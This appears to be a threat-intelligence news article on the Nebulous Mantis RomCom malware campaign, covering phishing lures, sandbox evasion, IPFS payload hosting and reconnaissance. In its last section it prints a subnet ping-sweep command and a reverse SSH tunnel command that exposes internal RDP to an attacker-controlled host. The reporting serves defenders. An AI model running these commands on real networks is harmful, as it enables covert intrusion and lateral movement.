Global Espionage Operation Unmasked: Nebulous Mantis Deploys RomCom Malware
A newly exposed cyber-espionage operation is making waves across the cybersecurity landscape. The elusive hacking collective dubbed Nebulous Mantis has been linked to a widespread intrusion effort leveraging a custom-built remote access trojan, RomCom, aimed at compromising enterprises around the world.
This global campaign relies on meticulously crafted phishing lures, disguised as legitimate communication, to trick recipients into activating a sophisticated infection chain. Once engaged, the malware unfolds in multiple phases—first establishing a foothold, then enabling long-term access, data theft, and the ability to pivot deeper into targeted networks.
The initial breach typically begins with an email mimicking a OneDrive file-sharing notice, baiting victims into downloading what appears to be a credible document (e.g., “Situation details & Evidence_April_25.pdf”). In reality, the link leads to a malicious payload hosted on Mediafire, marking a notable change in the attackers’ infrastructure—previous campaigns relied on temp.sh.
Once activated, the RomCom downloader launches a stealthy series of checks to avoid sandbox environments. Among these is a scan of the Windows registry’s “RecentDocs” key, verifying normal user behavior by checking if the document count exceeds a threshold of 55—a clever tactic to avoid automated analysis systems.
RomCom’s architecture unfolds in stages: after the initial loader runs, it injects a dynamic-link library (DLL) into explorer.exe, a legitimate Windows process. This enables the malware to blend in with normal system activity while continuing its clandestine operation.
Catalyst threat analysts report that RomCom’s anti-analysis features, including custom hash validation and environmental fingerprinting, suggest ongoing development and refinement, pointing to a resourceful adversary intent on maintaining operational secrecy.
RomCom Malware Campaign Redefines Payload Delivery Using Decentralized Tech
Security researchers at Catalyst have uncovered a new wave of RomCom malware variants, notable not only for their aggressive capabilities but also for how they cleverly navigate the modern cyber threat landscape.
At the core of the campaign lies a C-based dynamic-link library (DLL) that initiates a covert handshake with attacker-controlled systems. Once the connection is established, this component serves as the springboard for deploying specialized attack modules and executing remote commands on infiltrated machines.
But what truly sets this operation apart is its nontraditional infrastructure strategy. Rather than relying solely on the usual static command-and-control (C2) endpoints, the attackers have embraced the InterPlanetary File System (IPFS) — a decentralized, peer-powered network designed for distributed data sharing.
By integrating services like ipfs.io, hardbin.com, and dweb.link, the threat actors achieve several goals: they decentralize payload hosting, obscure traffic flows, and significantly complicate detection and disruption efforts. This decentralized method renders conventional takedown strategies far less effective.
The infection sequence is layered and methodical. RomCom’s later stages use IPNS (InterPlanetary Naming System) CID references to navigate IPFS-hosted content, retrieving malicious payloads in a manner that mimics legitimate web activity.
Eventually, the malware reestablishes contact with a fallback control node—opendnsapi.net—from which it receives instructions and additional tools, further entrenching itself within the victim environment.
This fusion of classic malware tactics with emerging distributed technologies marks a notable evolution in threat actor tradecraft—one that signals a broader trend toward infrastructure evasion and digital resilience.
Behind the Curtain of Nebulous Mantis: Deep Recon, Network Mapping, and Stealthy Access
Catalyst researchers have traced a sophisticated infection pathway attributed to Nebulous Mantis, revealing a stealthy architecture designed for persistence, deep reconnaissance, and covert access.
Once embedded within a system, RomCom drops its payloads into public-facing directories, camouflaging them as benign executables like mfc86.exe, shbhost.exe, and cconsrv.exe—all innocuous at a glance, but silently engineered for control and surveillance.
What makes RomCom stand out is its aggressive intelligence-gathering behavior. Upon execution, the malware initiates an extensive scan of the host environment. It retrieves local configuration data including time zones (tzutil /g), user privileges (whoami /all), and admin group memberships (net localgroup administrators) to build a complete profile of the compromised system.
For lateral exploration, RomCom adopts a manual ping sweep, iterating through a Class C subnet:
batch
for /L %i in (1,1,254) do @ping -n 1 -w 300 192.168.1.%i | find “TTL=” >> C:\Users\Public\1.txt
This enables the malware to log active machines in the network, preparing a roadmap for potential lateral movement and escalation—silently writing its results to a file ready for exfiltration.
Persistence is just the beginning. RomCom also employs advanced tunneling techniques to establish a foothold beyond the internal network. One such command sets up a reverse SSH tunnel, granting external operators Remote Desktop Protocol (RDP) access to internal systems without exposing services directly:
batch
C:\users\public\music\sample.exe -hostkey SHA256:{HOSTKEY} -batch -pw “{PASSWORD}” -N -R 25671:{INFECTED_NETWORK_IP}:3389 root@{ATTACKERS_REMOTE_IP} -P 56777
This method bypasses perimeter defenses by routing traffic through a secure outbound connection, effectively cloaking the intruder’s activity under the radar of traditional detection systems.
In sum, RomCom’s infection chain isn’t just a matter of payload delivery—it’s a well-choreographed intrusion strategy that mixes old-school network mapping with modern, decentralized evasion tactics.
